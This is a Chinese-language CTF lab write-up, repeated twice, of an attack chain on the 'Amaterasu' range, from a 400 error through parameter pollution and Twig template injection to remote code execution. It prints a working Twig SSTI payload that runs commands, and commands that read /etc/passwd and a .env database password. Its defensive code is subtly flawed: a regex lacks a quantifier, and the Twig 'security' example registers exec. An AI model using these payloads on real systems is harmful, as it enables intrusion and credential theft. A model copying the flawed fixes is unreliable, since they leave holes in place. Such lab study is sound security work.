1. 靶场渗透实战从400错误到RCE的完整攻击链解析上周在Amaterasu靶场发现一个有趣的渗透路径从普通的400 Bad Request错误页面入手最终实现了远程代码执行RCE。这个案例完美展示了Web安全攻防中小漏洞酿成大事故的典型场景今天我就把完整攻击链拆解给大家看。Amaterasu是近年安全圈内评价较高的CTF靶场之一其特色是模拟真实企业环境中那些看似无害的漏洞组合。这次遇到的400→RCE链涉及HTTP参数污染、服务端模板注入和权限逃逸三个关键环节全程只需要最基础的cURL和浏览器开发者工具就能完成。下面我会分步骤还原攻击过程重点说明每个环节的突破思路和防御方案。2. 环境探测与初始访问2.1 靶场基本信息收集首先对目标系统进行基础探测curl -I http://amaterasu.target/portal HTTP/1.1 400 Bad Request Server: nginx/1.18.0 X-Powered-By: PHP/7.4.3关键发现服务器使用NginxPHP组合默认返回400错误而非404说明存在严格的输入验证错误页面包含框架引用!-- Template: /engine/render?vbase_error --2.2 400错误的突破点通过Burp Suite拦截请求发现当URL包含特殊字符时会触发400错误GET /portal?id1 HTTP/1.1 → 200 OK GET /portal?id1 HTTP/1.1 → 400 Bad Request但观察到一个异常现象错误页面会反射输入的URL路径。尝试参数污染攻击GET /portal?id1rendertest HTTP/1.1此时页面底部出现调试信息Template rendering failed: variable test not found3. 模板注入漏洞利用3.1 服务端模板引擎识别通过报错信息可以确认使用服务端模板引擎模板变量通过render参数控制未对输入进行过滤测试模板语法GET /portal?id1render{{7*7}} HTTP/1.1返回内容包含49确认存在SSTIServer-Side Template Injection漏洞。3.2 模板沙箱逃逸通过枚举常见模板语法发现系统使用Twig 3.0引擎。构造恶意payload# 生成RCE payload payload {{_self.env.registerUndefinedFilterCallback(exec)}} payload {{_self.env.getFilter(id)}}实际请求GET /portal?id1render{{_self.env.registerUndefinedFilterCallback(exec)}}{{_self.env.getFilter(cat /etc/passwd)}} HTTP/1.1成功返回系统用户列表证明RCE实现。4. 权限提升与后渗透4.1 受限环境突破虽然获得命令执行能力但处于www-data低权限环境。通过以下命令发现Docker逃逸机会ls -al /home drwxr-xr-x 1 developer developer 4096 Jun 10 12:34 app-src4.2 敏感信息获取在开发者目录发现数据库凭证cat /home/developer/app-src/.env DB_PASSWORDAmaterasu2023!使用密码成功登录MySQL数据库获取管理员账户hash值并通过彩虹表破解。5. 防御方案与修复建议5.1 输入验证强化对所有用户输入实施严格白名单验证// 正确的参数检查 if(!preg_match(/^[a-z0-9_]$/i, $_GET[render])) { die(Invalid parameter); }禁用错误信息中的调试反馈# nginx配置 server { error_page 400 /error.html; location /error.html { internal; } }5.2 模板引擎安全配置Twig引擎的安全设置示例$twig new \Twig\Environment($loader, [ autoescape true, strict_variables true, auto_reload false ]); $twig-addFunction(new \Twig\TwigFunction(exec, null, [is_safe []]));6. 攻击链复盘与思考这个案例展示了三个关键点错误处理不当400错误暴露了模板路径参数污染漏洞render参数本应是内部变量沙箱配置缺陷Twig未禁用危险函数在实际渗透测试中我通常会特别注意所有错误响应的差异分析未文档化参数的系统性测试模板引擎的版本指纹识别最后分享一个检测SSTI的实用技巧在参数中插入${7*7}、{{7*7}}、% 7*7 %等常见模板语法观察响应中是否出现计算结果。不同引擎的测试payload可以参考OWASP的SSTI备忘单。
1. 靶场渗透实战从400错误到RCE的完整攻击链解析上周在Amaterasu靶场发现一个有趣的渗透路径从普通的400 Bad Request错误页面入手最终实现了远程代码执行RCE。这个案例完美展示了Web安全攻防中小漏洞酿成大事故的典型场景今天我就把完整攻击链拆解给大家看。Amaterasu是近年安全圈内评价较高的CTF靶场之一其特色是模拟真实企业环境中那些看似无害的漏洞组合。这次遇到的400→RCE链涉及HTTP参数污染、服务端模板注入和权限逃逸三个关键环节全程只需要最基础的cURL和浏览器开发者工具就能完成。下面我会分步骤还原攻击过程重点说明每个环节的突破思路和防御方案。2. 环境探测与初始访问2.1 靶场基本信息收集首先对目标系统进行基础探测curl -I http://amaterasu.target/portal HTTP/1.1 400 Bad Request Server: nginx/1.18.0 X-Powered-By: PHP/7.4.3关键发现服务器使用NginxPHP组合默认返回400错误而非404说明存在严格的输入验证错误页面包含框架引用!-- Template: /engine/render?vbase_error --2.2 400错误的突破点通过Burp Suite拦截请求发现当URL包含特殊字符时会触发400错误GET /portal?id1 HTTP/1.1 → 200 OK GET /portal?id1 HTTP/1.1 → 400 Bad Request但观察到一个异常现象错误页面会反射输入的URL路径。尝试参数污染攻击GET /portal?id1rendertest HTTP/1.1此时页面底部出现调试信息Template rendering failed: variable test not found3. 模板注入漏洞利用3.1 服务端模板引擎识别通过报错信息可以确认使用服务端模板引擎模板变量通过render参数控制未对输入进行过滤测试模板语法GET /portal?id1render{{7*7}} HTTP/1.1返回内容包含49确认存在SSTIServer-Side Template Injection漏洞。3.2 模板沙箱逃逸通过枚举常见模板语法发现系统使用Twig 3.0引擎。构造恶意payload# 生成RCE payload payload {{_self.env.registerUndefinedFilterCallback(exec)}} payload {{_self.env.getFilter(id)}}实际请求GET /portal?id1render{{_self.env.registerUndefinedFilterCallback(exec)}}{{_self.env.getFilter(cat /etc/passwd)}} HTTP/1.1成功返回系统用户列表证明RCE实现。4. 权限提升与后渗透4.1 受限环境突破虽然获得命令执行能力但处于www-data低权限环境。通过以下命令发现Docker逃逸机会ls -al /home drwxr-xr-x 1 developer developer 4096 Jun 10 12:34 app-src4.2 敏感信息获取在开发者目录发现数据库凭证cat /home/developer/app-src/.env DB_PASSWORDAmaterasu2023!使用密码成功登录MySQL数据库获取管理员账户hash值并通过彩虹表破解。5. 防御方案与修复建议5.1 输入验证强化对所有用户输入实施严格白名单验证// 正确的参数检查 if(!preg_match(/^[a-z0-9_]$/i, $_GET[render])) { die(Invalid parameter); }禁用错误信息中的调试反馈# nginx配置 server { error_page 400 /error.html; location /error.html { internal; } }5.2 模板引擎安全配置Twig引擎的安全设置示例$twig new \Twig\Environment($loader, [ autoescape true, strict_variables true, auto_reload false ]); $twig-addFunction(new \Twig\TwigFunction(exec, null, [is_safe []]));6. 攻击链复盘与思考这个案例展示了三个关键点错误处理不当400错误暴露了模板路径参数污染漏洞render参数本应是内部变量沙箱配置缺陷Twig未禁用危险函数在实际渗透测试中我通常会特别注意所有错误响应的差异分析未文档化参数的系统性测试模板引擎的版本指纹识别最后分享一个检测SSTI的实用技巧在参数中插入${7*7}、{{7*7}}、% 7*7 %等常见模板语法观察响应中是否出现计算结果。不同引擎的测试payload可以参考OWASP的SSTI备忘单。
